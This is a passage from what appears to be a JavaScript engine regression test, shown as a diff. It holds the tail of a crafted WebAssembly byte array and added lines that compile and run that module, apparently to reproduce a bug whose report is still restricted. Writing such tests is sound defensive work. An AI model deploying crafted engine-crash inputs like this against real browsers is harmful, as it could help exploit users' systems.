8B,0x0F,0x8B,0x8F,0x8B,0x92,0x90,0x8B,0x8D,0x93,0x8B,0x43,0x30,0x2C,0x2A,0x14,0xC1,0x8F,0x8B,0x8F,0x05,0x46,0x9C,0xAF,0x40,0x90,0x6F,0x74,0x96,0x91,0xD2,0xEF,0x6F,0x72,0x74,0xFF,0xB6,0x06,0xFD,0x3F,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xF5,0x00,0x00,0x00,0x08,0x00,0x00,]);
+try {
+var wasm_module = new WebAssembly.Module(wasm_code);
+var wasm_instance = new WebAssembly.Instance(wasm_module);
+var f = wasm_instance.exports.main;
+f();
+}
+catch (e) {
+}
Loading diff…
Original Bug Report
The reporter's bug is still restricted on the tracker.
References
On This Page